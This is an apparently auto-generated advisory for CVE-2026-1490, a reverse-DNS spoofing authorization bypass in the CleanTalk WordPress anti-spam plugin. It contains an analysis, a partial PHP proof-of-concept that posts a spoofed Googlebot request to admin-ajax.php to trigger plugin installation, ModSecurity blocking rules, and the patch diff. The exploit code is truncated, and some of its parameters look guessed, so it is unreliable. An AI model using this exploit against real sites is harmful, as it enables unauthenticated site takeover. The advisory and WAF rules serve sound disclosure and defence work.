Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1490: Spam protection, Honeypot, Anti-Spam by CleanTalk <= 6.71 – Authorization Bypass via Reverse DNS (PTR record) Spoofing to Unauthenticated Arbitrary Plugin Installation (cleantalk-spam-protect)

CVE ID CVE-2026-1490
Severity Critical (CVSS 9.8)
CWE 350
Vulnerable Version 6.71
Patched Version 6.72
Disclosed February 13, 2026

Analysis Overview

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-1490:nThe vulnerability is an authorization bypass in the CleanTalk Anti-Spam WordPress plugin (versions ≤6.71) that allows unauthenticated attackers to install arbitrary plugins via reverse DNS (PTR) record spoofing. The flaw exists in the plugin’s ‘checkWithoutToken’ function, which improperly validates Googlebot requests by relying solely on gethostbyaddr() without forward-confirmed reverse DNS (FCrDNS) verification. This bypass enables attackers to impersonate Googlebot IPs and execute privileged plugin installation operations.nnRoot Cause:nThe vulnerability originates in the cleantalk-public-integrations.php file at line 167. The function apbct_form__ninjaForms__testSpam() calls gethostbyaddr() on the REMOTE_ADDR server variable to verify Googlebot requests. This single DNS lookup can be spoofed via PTR record manipulation. The checkWithoutToken function (called via apbct_base_call) accepts these spoofed requests as legitimate Googlebot traffic when the site has an invalid API key. The plugin’s authorization mechanism fails because it trusts unverified reverse DNS results.nnExploitation:nAttackers must control DNS infrastructure to create spoofed PTR records pointing to googlebot.com domains for their attack IP. They then send requests to WordPress AJAX endpoints (/wp-admin/admin-ajax.php) with action parameters that trigger the checkWithoutToken function. The exploit chain involves: 1) Spoofing PTR records for attacker-controlled IPs, 2) Sending requests that bypass the plugin’s token validation via the checkWithoutToken path, 3) Using the plugin’s installation functionality to install and activate arbitrary plugins from the WordPress repository, potentially leading to RCE if a vulnerable plugin is installed.nnPatch Analysis:nThe patch in version 6.72 replaces gethostbyaddr() with CleantalkCommonHelper::ipResolve() at line 170 of cleantalk-public-integrations.php. This new function performs forward-confirmed reverse DNS (FCrDNS) verification by: 1) Performing reverse DNS lookup (PTR), 2) Performing forward DNS lookup (A/AAAA) on the returned hostname, 3) Comparing the original IP with resolved IPs. The patch also removes the vulnerable NinjaForms integration functions (apbct_form__ninjaForms__testSpam and related functions) and replaces them with a new NinjaForms class in lib/Cleantalk/Antispam/Integrations/NinjaForms.php that uses proper validation.nnImpact:nSuccessful exploitation allows complete site compromise through arbitrary plugin installation and activation. Attackers can install plugins with known vulnerabilities or backdoors, leading to remote code execution, data theft, privilege escalation, and persistent access. The CVSS 9.8 score reflects the attack’s network accessibility, lack of authentication requirements, and high impact on confidentiality, integrity, and availability.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-1490 – Spam protection, Honeypot, Anti-Spam by CleanTalk <= 6.71 – Authorization Bypass via Reverse DNS (PTR record) Spoofing to Unauthenticated Arbitrary Plugin Installationnn ‘apbct_alt_session’, // Example action that triggers checkWithoutTokenn ‘plugin’ => ‘malicious-plugin’, // Plugin slug to installn ‘type’ => ‘install’, // Action typen ‘nonce’ => ”, // Empty nonce triggers checkWithoutToken pathn ‘ct_bot_detector_event_token’ => ‘spoofed_token’,n ‘ct_no_cookie_hidden_field’ => ‘1’n];nn// Step 4: Send request from IP with spoofed PTR recordn// Note: This must be executed from server with controlled PTR recordsn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_HTTPHEADER, [n ‘X-Forwarded-For: 192.0.2.100’, // IP with spoofed googlebot.com PTR recordn ‘User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)’n]);nn// Step 5: Execute attackn$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nn// Step 6: Verify successnif ($http_code == 200 && strpos($response, ‘success’) !== false) {n echo “Exploit successful. Plugin installation triggered.\n”;n echo “Response: ” . htmlspecialchars($response) . “\n”;n} else {n echo “Exploit failed. HTTP Code: $http_code\n”;n echo “Response: ” . htmlspecialchars($response) . “\n”;n}nn// Note: Actual exploitation requires:n// 1. Control over DNS PTR records for attack IPn// 2. Vulnerable CleanTalk plugin version (“,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-1490nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:1001490,phase:2,deny,status:403,chain,msg:’CVE-2026-1490 CleanTalk Anti-Spam Authorization Bypass via PTR Spoofing’,severity:’CRITICAL’,tag:’CVE-2026-1490′,tag:’WordPress’,tag:’CleanTalk’,tag:’Authorization-Bypass'”n SecRule ARGS_POST:action “@rx ^(apbct_alt_session|apbct_force_update_settings|apbct_update_settings|apbct_install_plugin)$” “chain”n SecRule &ARGS_POST:nonce “@eq 0” “chain”n SecRule REQUEST_HEADERS:User-Agent “@rx googlebot” “chain”n SecRule REMOTE_ADDR “!@verifyFcrdns googlebot\.com$”nn# Alternative rule for REST API endpointsnSecRule REQUEST_URI “@beginsWith /wp-json/cleantalk-antispam/” \n “id:1001491,phase:2,deny,status:403,chain,msg:’CVE-2026-1490 CleanTalk REST API Authorization Bypass’,severity:’CRITICAL’,tag:’CVE-2026-1490′,tag:’WordPress’,tag:’CleanTalk’,tag:’REST-API'”n SecRule REQUEST_METHOD “@streq POST” “chain”n SecRule REQUEST_HEADERS:User-Agent “@rx googlebot” “chain”n SecRule REMOTE_ADDR “!@verifyFcrdns googlebot\.com$””
}
“`

Differential between vulnerable and patched code

Code Diff
--- a/cleantalk-spam-protect/cleantalk.php
+++ b/cleantalk-spam-protect/cleantalk.php
@@ -4,7 +4,7 @@
   Plugin Name: Anti-Spam by CleanTalk
   Plugin URI: https://cleantalk.org
   Description: Max power, all-in-one, no Captcha, premium anti-spam plugin. No comment spam, no registration spam, no contact spam, protects any WordPress forms.
-  Version: 6.71
+  Version: 6.72
   Author: CleanTalk - Anti-Spam Protection <welcome@cleantalk.org>
   Author URI: https://cleantalk.org
   Text Domain: cleantalk-spam-protect
@@ -29,7 +29,6 @@
 use CleantalkApbctWPFirewallSFW;
 use CleantalkApbctWPFirewallSFWUpdateHelper;
 use CleantalkApbctWPHelper;
-use CleantalkApbctWPPromotionsGF2DBPromotion;
 use CleantalkApbctWPRemoteCalls;
 use CleantalkApbctWPRequestParametersRequestParameters;
 use CleantalkApbctWPRequestParametersSubmitTimeHandler;
@@ -273,10 +272,6 @@
 add_action('init', function () {
     global $apbct;

-    //promotions
-    $promotion_gf2db = new GF2DBPromotion();
-    $promotion_gf2db->init();
-
     // Self cron
     $ct_cron = Cron::getInstance();
     $tasks_to_run = $ct_cron->checkTasks(); // Check for current tasks. Drop tasks inner counters.
@@ -545,13 +540,6 @@
     apbct_leakyPaywall_request_test();
 }

-add_action('wp_ajax_nopriv_ninja_forms_ajax_submit', 'apbct_form__ninjaForms__testSpam', 1);
-add_action('wp_ajax_ninja_forms_ajax_submit', 'apbct_form__ninjaForms__testSpam', 1);
-add_action('wp_ajax_nopriv_nf_ajax_submit', 'apbct_form__ninjaForms__testSpam', 1);
-add_action('wp_ajax_nf_ajax_submit', 'apbct_form__ninjaForms__testSpam', 1);
-add_action('ninja_forms_process', 'apbct_form__ninjaForms__testSpam', 1); // Depricated ?
-add_action('ninja_forms_display_after_form', 'apbct_form__ninjaForms__addField', 1000, 10);
-
 // SeedProd Coming Soon Page Pro integration
 add_action('wp_ajax_seed_cspv5_subscribe_callback', 'apbct_form__seedprod_coming_soon__testSpam', 1);
 add_action('wp_ajax_nopriv_seed_cspv5_subscribe_callback', 'apbct_form__seedprod_coming_soon__testSpam', 1);
--- a/cleantalk-spam-protect/inc/cleantalk-common.php
+++ b/cleantalk-spam-protect/inc/cleantalk-common.php
@@ -435,6 +435,8 @@
          */
         // case for admin-ajax routes, may contain get params(!)
         $is_admin_ajax_like = stripos(Server::getString('REQUEST_URI'), '/wp-admin/admin-ajax.php') === 0;
+        // case for woocommerce-ajax routes, may contain get params(!)
+        $is_wc_ajax_like = stripos(Server::getString('REQUEST_URI'), '/?wc-ajax=') === 0;
         // case for wp-json paths
         $is_wp_json_like = stripos(Server::getString('REQUEST_URI'), '/wp-json/') === 0;
         // case for rest paths
@@ -446,6 +448,7 @@
             Server::getString('HTTP_REFERER')  &&
             (
                 $is_admin_ajax_like ||
+                $is_wc_ajax_like ||
                 $is_wp_json_like ||
                 $is_rest_only_path
             )
--- a/cleantalk-spam-protect/inc/cleantalk-integrations-by-hook.php
+++ b/cleantalk-spam-protect/inc/cleantalk-integrations-by-hook.php
@@ -483,6 +483,11 @@
         'setting' => 'forms__contact_forms_test',
         'ajax'    => false
     ),
+    'NinjaForms' => array(
+        'hook'    => ['ninja_forms_ajax_submit', 'nf_ajax_submit', 'forms_process', 'ninja_forms_display_after_form'],
+        'setting' => 'forms__contact_forms_test',
+        'ajax'    => true
+    ),
 );

 add_action('plugins_loaded', function () use ($apbct_active_integrations) {
--- a/cleantalk-spam-protect/inc/cleantalk-pluggable.php
+++ b/cleantalk-spam-protect/inc/cleantalk-pluggable.php
@@ -947,11 +947,20 @@
              is_admin() ) {
             return 'w2dc_skipped';
         }
-        if ( (apbct_is_plugin_active('elementor/elementor.php') || apbct_is_plugin_active('elementor-pro/elementor-pro.php')) &&
-             TT::toString(Post::get('actions_save_builder_action')) === 'save_builder' &&
-             is_admin() ) {
+
+        // Elementor actions and widgets
+        if (
+            (apbct_is_plugin_active('elementor/elementor.php') || apbct_is_plugin_active('elementor-pro/elementor-pro.php')) &&
+            (
+                // elementor builder action
+                (Post::getString('actions_save_builder_action') === 'save_builder' && is_admin()) ||
+                // elementor login widget WooCommerce for checkout
+                (Post::getString('action') === 'elementor_woocommerce_checkout_login_user')
+            )
+        ) {
             return 'elementor_skip';
         }
+
         // Enfold theme saving settings
         if ( apbct_is_theme_active('Enfold') &&
              TT::toString(Post::get('action')) === 'avia_ajax_save_options_page' ) {
--- a/cleantalk-spam-protect/inc/cleantalk-public-integrations.php
+++ b/cleantalk-spam-protect/inc/cleantalk-public-integrations.php
@@ -1,6 +1,5 @@
 <?php

-use CleantalkApbctWPDTOGetFieldsAnyDTO;
 use CleantalkApbctWPEscape;
 use CleantalkApbctWPHelper;
 use CleantalkApbctWPHoneypot;
@@ -165,9 +164,10 @@
         }
     }

-    //If the IP is a Google bot
-    $hostname = gethostbyaddr(TT::toString(Server::get('REMOTE_ADDR')));
-    if ( ! strpos($hostname, 'googlebot.com') ) {
+    //If the IP is a Google bot (with FCrDNS verification to prevent PTR spoofing)
+    $client_ip = TT::toString(Server::get('REMOTE_ADDR'));
+    $verified_hostname = CleantalkCommonHelper::ipResolve($client_ip);
+    if ( ! $verified_hostname || strpos($verified_hostname, 'googlebot.com') === false ) {
         do_action('apbct_skipped_request', __FILE__ . ' -> ' . __FUNCTION__ . '():' . __LINE__, $_POST);

         return $args;
@@ -1784,371 +1784,6 @@
 }

 /**
- * Test Ninja Forms message for spam
- *
- * @return void
- * @global State $apbct
- */
-function apbct_form__ninjaForms__testSpam()
-{
-    global $apbct, $cleantalk_executed;
-
-    if ( $cleantalk_executed ) {
-        do_action('apbct_skipped_request', __FILE__ . ' -> ' . __FUNCTION__ . '():' . __LINE__, $_POST);
-
-        return;
-    }
-
-    if (
-        $apbct->settings['forms__contact_forms_test'] == 0 ||
-        ($apbct->settings['data__protect_logged_in'] != 1 && is_user_logged_in()) || // Skip processing for logged in users.
-        apbct_exclusions_check__url()
-    ) {
-        do_action('apbct_skipped_request', __FILE__ . ' -> ' . __FUNCTION__ . '():' . __LINE__, $_POST);
-
-        return;
-    }
-
-    //skip ninja PRO service requests
-    if ( Post::get('nonce_ts') ) {
-        do_action('apbct_skipped_request', __FILE__ . ' -> ' . __FUNCTION__ . '():' . __LINE__, $_POST);
-
-        return;
-    }
-
-    $checkjs = apbct_js_test(Sanitize::cleanTextField(Cookie::get('ct_checkjs')), true);
-
-    try {
-        $gfa_dto = apbct_form__ninjaForms__collect_fields_new();
-    } catch (Exception $_e) {
-        // It is possible here check the reason if the new way collecting fields is not available.
-        $gfa_dto = apbct_form__ninjaForms__collect_fields_old();
-    }
-
-    if ( $gfa_dto->nickname === '' || $gfa_dto->email === '' ) {
-        $form_data = json_decode(TT::toString(Post::get('formData')), true);
-        if ( ! $form_data ) {
-            $form_data = json_decode(stripslashes(TT::toString(Post::get('formData'))), true);
-        }
-        if ( function_exists('Ninja_Forms') && isset($form_data['fields']) ) {
-            /** @psalm-suppress UndefinedFunction */
-            $nf_form_fields_info = Ninja_Forms()->form()->get_fields();
-            $nf_form_fields_info_array = [];
-            foreach ($nf_form_fields_info as $field) {
-                $nf_form_fields_info_array[$field->get_id()] = [
-                    'field_key' => $field->get_setting('key'),
-                    'field_type' => $field->get_setting('type'),
-                    'field_label' => $field->get_setting('label'),
-                ];
-            }
-
-            $nf_form_fields = $form_data['fields'];
-            $nickname = '';
-            $email = '';
-            foreach ($nf_form_fields as $field) {
-                $field_info = $nf_form_fields_info_array[$field['id']];
-                // handle nickname-like fields, add matches to existing nickname string
-                if ( stripos($field_info['field_key'], 'name') !== false ) {
-                    $nickname = empty($nickname) ? $field['value'] : $nickname . ' ' . $field['value'];
-                }
-                // handle email-like fields, if no GFA result, set it once
-                if (empty($gfa_dto->email) && stripos($field_info['field_key'], 'email') !== false ) {
-                    $email = empty($email) ? $field['value'] : $email;
-                }
-            }
-            // if gfa is empty, fill it with data from Ninja Forms, if not empty, append data from Ninja Forms
-            $gfa_dto->nickname = empty($gfa_dto->nickname) ? $nickname : $gfa_dto->nickname . ' ' . $nickname;
-            // if email is empty, fill it with data from Ninja Forms, if not empty, keep DTO
-            $gfa_dto->email = empty($gfa_dto->email) ? $email : $gfa_dto->email;
-        }
-    }
-
-    $sender_email           = $gfa_dto->email;
-    $sender_emails_array    = $gfa_dto->emails_array;
-    $sender_nickname        = $gfa_dto->nickname;
-    $subject                = $gfa_dto->subject;
-    $message                = $gfa_dto->message;
-    if ( $subject != '' ) {
-        $message = array_merge(array('subject' => $subject), $message);
-    }
-
-    //Ninja Forms xml fix
-    foreach ( $message as $key => $value ) {
-        if ( strpos($value, '<xml>') !== false ) {
-            unset($message[$key]);
-        }
-    }
-
-    $base_call_result = apbct_base_call(
-        array(
-            'message'         => $message,
-            'sender_email'    => $sender_email,
-            'sender_nickname' => $sender_nickname,
-            'post_info'       => array('comment_type' => 'contact_form_wordpress_ninja_forms'),
-            'sender_info'   => array('sender_emails_array' => $sender_emails_array),
-            'js_on'           => $checkjs,
-        )
-    );
-
-    if ( isset($base_call_result['ct_result']) ) {
-        $ct_result = $base_call_result['ct_result'];
-
-        // Change mail notification if license is out of date
-        if ( $apbct->data['moderate'] == 0 &&
-            ($ct_result->fast_submit == 1 || $ct_result->blacklisted == 1 || $ct_result->js_disabled == 1)
-        ) {
-            $apbct->sender_email = $sender_email;
-            $apbct->sender_ip    = Helper::ipGet('real');
-            add_filter('ninja_forms_action_email_message', 'apbct_form__ninjaForms__changeMailNotification', 1, 3);
-        }
-
-        if ( $ct_result->allow == 0 ) {
-            // We have to use GLOBAL variable to transfer the comment to apbct_form__ninjaForms__changeResponse() function :(
-            $apbct->response = $ct_result->comment;
-            add_action('ninja_forms_before_response', 'apbct_form__ninjaForms__changeResponse', 10, 1);
-            add_action(
-                'ninja_forms_action_email_send',
-                'apbct_form__ninjaForms__stopEmail',
-                1,
-                5
-            ); // Prevent mail notification
-            add_action(
-                'ninja_forms_save_submission',
-                'apbct_form__ninjaForms__preventSubmission',
-                1,
-                2
-            ); // Prevent mail notification
-            add_filter(
-                'ninja_forms_run_action_type_add_to_hubspot',
-                /** @psalm-suppress UnusedClosureParam */
-                function ($result) {
-                    return false;
-                },
-                1
-            );
-            add_filter(
-                'ninja_forms_run_action_type_nfacds',
-                /** @psalm-suppress UnusedClosureParam */
-                function ($result) {
-                    return false;
-                },
-                1
-            );
-            add_filter(
-                'ninja_forms_run_action_type_save',
-                /** @psalm-suppress UnusedClosureParam */
-                function ($result) {
-                    return false;
-                },
-                1
-            );
-            add_filter(
-                'ninja_forms_run_action_type_successmessage',
-                /** @psalm-suppress UnusedClosureParam */
-                function ($result) {
-                    return false;
-                },
-                1
-            );
-            add_filter(
-                'ninja_forms_run_action_type_email',
-                /** @psalm-suppress UnusedClosureParam */
-                function ($result) {
-                    return false;
-                },
-                1
-            );
-        }
-    }
-}
-
-/**
- * Old way to collecting NF fields data.
- *
- * @return GetFieldsAnyDTO
- */
-function apbct_form__ninjaForms__collect_fields_old()
-{
-    /**
-     * Filter for POST
-     */
-    $input_array = apply_filters('apbct__filter_post', $_POST);
-
-    // Choosing between sanitized GET and POST
-    $input_data = Get::get('ninja_forms_ajax_submit') || Get::get('nf_ajax_submit')
-        ? array_map(function ($value) {
-            return is_string($value) ? htmlspecialchars($value) : $value;
-        }, $_GET)
-        : $input_array;
-
-    // Return the collected fields data
-    return ct_gfa_dto($input_data);
-}
-
-/**
- * New way to collecting NF fields data - try to get username and email.
- *
- * @return GetFieldsAnyDTO
- * @throws Exception
- * @psalm-suppress UndefinedClass
- */
-function apbct_form__ninjaForms__collect_fields_new()
-{
-    $form_data = json_decode(TT::toString(Post::get('formData')), true);
-    if ( ! $form_data ) {
-        $form_data = json_decode(stripslashes(TT::toString(Post::get('formData'))), true);
-    }
-    if ( ! isset($form_data['fields']) ) {
-        throw new Exception('No form data is provided');
-    }
-    if ( ! function_exists('Ninja_Forms') ) {
-        throw new Exception('No `Ninja_Forms` class exists');
-    }
-    $nf_form_info = Ninja_Forms()->form();
-    if ( ! ($nf_form_info instanceof NF_Abstracts_ModelFactory) ) {
-        throw new Exception('Getting NF form failed');
-    }
-    $nf_form_fields_info = $nf_form_info->get_fields();
-    if ( ! is_array($nf_form_fields_info) && count($nf_form_fields_info) === 0 ) {
-        throw new Exception('No fields are provided');
-    }
-    $nf_form_fields_info_array = [];
-    foreach ($nf_form_fields_info as $field) {
-        if ( $field instanceof NF_Database_Models_Field) {
-            $nf_form_fields_info_array[$field->get_id()] = [
-                'field_key' => TT::toString($field->get_setting('key')),
-                'field_type' => TT::toString($field->get_setting('type')),
-                'field_label' => TT::toString($field->get_setting('label')),
-            ];
-        }
-    }
-
-    $nf_form_fields = $form_data['fields'];
-    $nickname = '';
-    $nf_prior_email = '';
-    $nf_emails_array = array();
-    $fields = [];
-    foreach ($nf_form_fields as $field) {
-        if ( isset($nf_form_fields_info_array[$field['id']]) ) {
-            $field_info = $nf_form_fields_info_array[$field['id']];
-            if ( isset($field_info['field_key'], $field_info['field_type']) ) {
-                $field_key = TT::toString($field_info['field_key']);
-                $field_type = TT::toString($field_info['field_type']);
-                $fields['nf-field-' . $field['id'] . '-' . $field_type] = $field['value'];
-                if ( stripos($field_key, 'name') !== false && stripos($field_type, 'name') !== false ) {
-                    $nickname .= ' ' . $field['value'];
-                }
-                if (
-                    (stripos($field_key, 'email') !== false && $field_type === 'email') ||
-                    (function_exists('is_email') && is_string($field['value']) && is_email($field['value']))
-                ) {
-                    /**
-                     * On the plugin side we can not decide which of presented emails have to be used for check as sender_email,
-                     * so we do collect any of them and provide to GFA as $emails_array param.
-                     */
-                    if (empty($nf_prior_email)) {
-                        $nf_prior_email = $field['value'];
-                    } else {
-                        $nf_emails_array[] = $field['value'];
-                    }
-                }
-            }
-        }
-    }
-
-    return ct_gfa_dto($fields, $nf_prior_email, $nickname, $nf_emails_array);
-}
-
-/**
- * Inserts anti-spam hidden to ninja forms
- *
- * @return void
- * @global State $apbct
- * @psalm-suppress UnusedParam
- */
-function apbct_form__ninjaForms__addField($form_id)
-{
-    global $apbct;
-
-    static $second_execute = false;
-
-    if ( $apbct->settings['forms__contact_forms_test'] == 1 && !is_user_logged_in() ) {
-        if ( $apbct->settings['trusted_and_affiliate__under_forms'] === '1' && $second_execute) {
-            echo Escape::escKsesPreset(
-                apbct_generate_trusted_text_html('center'),
-                'apbct_public__trusted_text'
-            );
-        }
-    }
-
-    $second_execute = true;
-}
-
-function apbct_form__ninjaForms__preventSubmission($_some, $_form_id)
-{
-    return false;
-}
-
-
-/**
- * @param $_some
- * @param $_action_settings
- * @param $_message
- * @param $_headers
- * @param $_attachments
- *
- * @throws Exception
- */
-function apbct_form__ninjaForms__stopEmail($_some, $_action_settings, $_message, $_headers, $_attachments)
-{
-    global $apbct;
-    throw new Exception($apbct->response);
-}
-
-/**
- * @param $data
- *
- * @psalm-suppress InvalidArrayOffset
- */
-function apbct_form__ninjaForms__changeResponse($data)
-{
-    global $apbct;
-
-    $nf_field_id = 1;
-
-    // Show error message below field found by ID
-    if (
-        isset($data['fields_by_key']) &&
-        array_key_exists('email', $data['fields_by_key']) &&
-        !empty($data['fields_by_key']['email']['id'])
-    ) {
-        // Find ID of EMAIL field
-        $nf_field_id = $data['fields_by_key']['email']['id'];
-    } else {
-        // Find ID of last field (usually SUBMIT)
-        if (isset($data['fields'])) {
-            $fields_keys = array_keys($data['fields']);
-            $nf_field_id = array_pop($fields_keys);
-        }
-    }
-
-    // Below is modified NJ logic
-    $error = array(
-        'fields' => array(
-            $nf_field_id => $apbct->response,
-        ),
-    );
-
-    $response = array('data' => $data, 'errors' => $error, 'debug' => '');
-
-    $json_response = wp_json_encode($response, JSON_FORCE_OBJECT);
-    if ($json_response === false) {
-        $json_response = '{"error": "JSON encoding failed"}';
-    }
-    die($json_response);
-}
-
-/**
  * @psalm-suppress UnusedVariable
  */
 function apbct_form__seedprod_coming_soon__testSpam()
@@ -2214,35 +1849,6 @@
 }

 /**
- * Changes email notification for success subscription for Ninja Forms
- *
- * @param string $message Body of email notification
- *
- * @return string Body for email notification
- */
-function apbct_form__ninjaForms__changeMailNotification($message, $_data, $action_settings)
-{
-    global $apbct;
-
-    if ( $action_settings['to'] !== $apbct->sender_email ) {
-        $message .= wpautop(
-            PHP_EOL . '---'
-            . PHP_EOL
-            . __('CleanTalk Anti-Spam: This message could be spam.', 'cleantalk-spam-protect')
-            . PHP_EOL . __('CleanTalk's Anti-Spam database:', 'cleantalk-spam-protect')
-            . PHP_EOL . 'IP: ' . $apbct->sender_ip
-            . PHP_EOL . 'Email: ' . $apbct->sender_email
-            . PHP_EOL .
-            __('If you want to be sure activate protection in your Anti-Spam Dashboard: ', 'clentalk') .
-            //HANDLE LINK
-            'https://cleantalk.org/my/?cp_mode=antispam&utm_source=newsletter&utm_medium=email&utm_campaign=ninjaform_activate_antispam' . $apbct->user_token
-        );
-    }
-
-    return $message;
-}
-
-/**
  *  QuForms check spam
  *    works with single-paged forms
  *    and with multi-paged forms - check only last step of the forms
--- a/cleantalk-spam-protect/inc/cleantalk-public-validate.php
+++ b/cleantalk-spam-protect/inc/cleantalk-public-validate.php
@@ -1,7 +1,7 @@
 <?php

 use CleantalkApbctWPSanitize;
-use CleantalkApbctWPVariablesCookie;
+use CleantalkApbctWPVariablesGet;
 use CleantalkApbctWPVariablesPost;
 use CleantalkApbctWPVariablesServer;
 use CleantalkCommonTT;
@@ -20,7 +20,7 @@

     $do_skip = skip_for_ct_contact_form_validate();
     if ( $do_skip ) {
-        do_action('apbct_skipped_request', __FILE__ . ' -> ' . __FUNCTION__ . '():' . __LINE__ . ', ON KEY ' . $do_skip, $_POST);
+        do_action('apbct_skipped_request', __FILE__ . ' -> ' . __FUNCTION__ . '():' . 'SKIP_FOR_CT_CONTACT_FORM_VALIDATE' . ', ON KEY ' . $do_skip, $_POST);
         return null;
     }

@@ -63,9 +63,15 @@
             $apbct->settings['forms__wc_checkout_test'] != 1 &&
             !empty($_POST['payment_request_type']) &&
             $_POST['payment_request_type'] === 'apple_pay'
+        ) ||
+        (
+            // Stripe express checkout address normalize
+            Get::getString('wc-ajax') === 'wc_stripe_normalize_address' &&
+            apbct_is_plugin_active('woocommerce-gateway-stripe/woocommerce-gateway-stripe.php') &&
+            1 == check_ajax_referer('wc-stripe-express-checkout-normalize-address', 'security', false)
         )
     ) {
-        do_action('apbct_skipped_request', __FILE__ . ' -> ' . __FUNCTION__ . '():' . __LINE__, $_POST);
+        do_action('apbct_skipped_request', __FILE__ . ' -> ' . __FUNCTION__ . '():' . 'WOOCOMMERCE_SERVICES', $_POST);

         return null;
     }
--- a/cleantalk-spam-protect/inc/cleantalk-settings.php
+++ b/cleantalk-spam-protect/inc/cleantalk-settings.php
@@ -7,7 +7,6 @@
 use CleantalkApbctWPEscape;
 use CleantalkApbctWPHelper;
 use CleantalkApbctWPLinkConstructor;
-use CleantalkApbctWPPromotionsGF2DBPromotion;
 use CleantalkApbctWPValidate;
 use CleantalkApbctWPVariablesPost;
 use CleantalkApbctWPCron;
@@ -132,8 +131,6 @@
         ? '<br>' . __(' - status of SpamFireWall database updating process', 'cleantalk-spam-protect')
         : '';

-    $promotion_gf2db = new GF2DBPromotion();
-
     $fields = array(

         'main' => array(
@@ -263,13 +260,6 @@
                     'parent'      => 'forms__contact_forms_test',
                     'display'     => apbct_is_plugin_active('gravityforms/gravityforms.php'),
                 ),
-                'forms__gravity_promotion_gf2db'             => array(
-                        'title'       => $promotion_gf2db->getTitleForSettings(),
-                        'description' => $promotion_gf2db->getDescriptionForSettings(),
-                        'class'       => 'apbct_settings-field_wrapper--sub',
-                        'parent'      => 'forms__contact_forms_test',
-                        'display'     => $promotion_gf2db->couldPerformActions(),
-                ),
                 'forms__general_contact_forms_test'     => array(
                     'title'       => __('Custom contact forms', 'cleantalk-spam-protect'),
                     'description' => __(
--- a/cleantalk-spam-protect/lib/Cleantalk/Antispam/Cleantalk.php
+++ b/cleantalk-spam-protect/lib/Cleantalk/Antispam/Cleantalk.php
@@ -479,7 +479,8 @@
             $file = @fsockopen($host, 443, $errno, $errstr, $this->max_server_timeout / 1000);
         } else {
             $http = new Request();
-            $host = 'https://' . gethostbyaddr($host);
+            $verified_host = Helper::ipResolve($host);
+            $host = 'https://' . ($verified_host ?: $host);
             $file = $http->setUrl($host)
                 ->setOptions(['timeout' => $this->max_server_timeout / 1000])
                 ->setPresets('get_code get')
--- a/cleantalk-spam-protect/lib/Cleantalk/Antispam/Integrations.php
+++ b/cleantalk-spam-protect/lib/Cleantalk/Antispam/Integrations.php
@@ -138,6 +138,10 @@
                         if ( ! empty($data['emails_array']) ) {
                             $sender_info['sender_emails_array'] = $data['emails_array'];
                         }
+                        $integration_fvd = $integration->getVisibleFieldsData();
+                        if ( ! empty($integration_fvd['visible_fields']) ) {
+                            $sender_info['apbct_visible_fields'] = $integration_fvd['visible_fields'];
+                        }
                         // common case
                         $base_call_data = array(
                             'message'         => ! empty($data['message']) ? json_encode($data['message']) : '',
--- a/cleantalk-spam-protect/lib/Cleantalk/Antispam/Integrations/FluentForm.php
+++ b/cleantalk-spam-protect/lib/Cleantalk/Antispam/Integrations/FluentForm.php
@@ -2,8 +2,7 @@

 namespace CleantalkAntispamIntegrations;

-use CleantalkApbctWPVariablesPost;
-use CleantalkCommonTT;
+use CleantalkApbctWPGetFieldsAny;

 class FluentForm extends IntegrationBase
 {
@@ -44,10 +43,13 @@
              */
             $input_array = apply_filters('apbct__filter_post', $form_data);

-            $gfa_checked_data = ct_get_fields_any($input_array);
+            $gfa_checked_data = ct_gfa_dto($input_array)->getArray();

             $gfa_checked_data['event_token'] = $event_token;

+            $fields_visibility_data = GetFieldsAny::getVisibleFieldsData($input_array);
+            $this->setVisibleFieldsData($fields_visibility_data);
+
             if (isset($gfa_checked_data['message'], $gfa_checked_data['message']['apbct_visible_fields'])) {
                 unset($gfa_checked_data['message']['apbct_visible_fields']);
             }
--- a/cleantalk-spam-protect/lib/Cleantalk/Antispam/Integrations/GiveWP.php
+++ b/cleantalk-spam-protect/lib/Cleantalk/Antispam/Integrations/GiveWP.php
@@ -33,7 +33,11 @@
                 $email = Post::getString('email');
             }

-            return ct_get_fields_any($input_array, $email, $nickname);
+            //multipage form exclusion, first page of donation amount does not provide email data
+            $gfa_dto = ct_gfa_dto($input_array, $email, $nickname);
+            if (!empty($gfa_dto->email)) {
+                return $gfa_dto->getArray();
+            }
         }

         return null;
--- a/cleantalk-spam-protect/lib/Cleantalk/Antispam/Integrations/IntegrationBase.php
+++ b/cleantalk-spam-protect/lib/Cleantalk/Antispam/Integrations/IntegrationBase.php
@@ -5,6 +5,7 @@
 abstract class IntegrationBase
 {
     public $base_call_result;
+    public $visible_fields_data;

     /**
      * Legacy old way to collect data.
@@ -66,4 +67,16 @@
     {
         return $argument;
     }
+
+    public function getVisibleFieldsData()
+    {
+        return $this->visible_fields_data;
+    }
+
+    public function setVisibleFieldsData($visible_fields_data)
+    {
+        if (!empty($visible_fields_data['visible_fields'])) {
+            $this->visible_fields_data = $visible_fields_data;
+        }
+    }
 }
--- a/cleantalk-spam-protect/lib/Cleantalk/Antispam/Integrations/NinjaForms.php
+++ b/cleantalk-spam-protect/lib/Cleantalk/Antispam/Integrations/NinjaForms.php
@@ -0,0 +1,431 @@
+<?php
+
+namespace CleantalkAntispamIntegrations;
+
+use CleantalkApbctWPDTOGetFieldsAnyDTO;
+use CleantalkApbctWPEscape;
+use CleantalkApbctWPGetFieldsAny;
+use CleantalkApbctWPHelper;
+use CleantalkApbctWPVariablesGet;
+use CleantalkApbctWPVariablesPost;
+use CleantalkCommonTT;
+
+class NinjaForms extends IntegrationBase
+{
+    private $sender_email = ''; // needs to provide to final actions
+    public function getDataForChecking($argument)
+    {
+        global $apbct, $cleantalk_executed;
+
+        if ( current_action() === 'ninja_forms_display_after_form' ) {
+            return null;
+        }
+
+        if ( $cleantalk_executed ) {
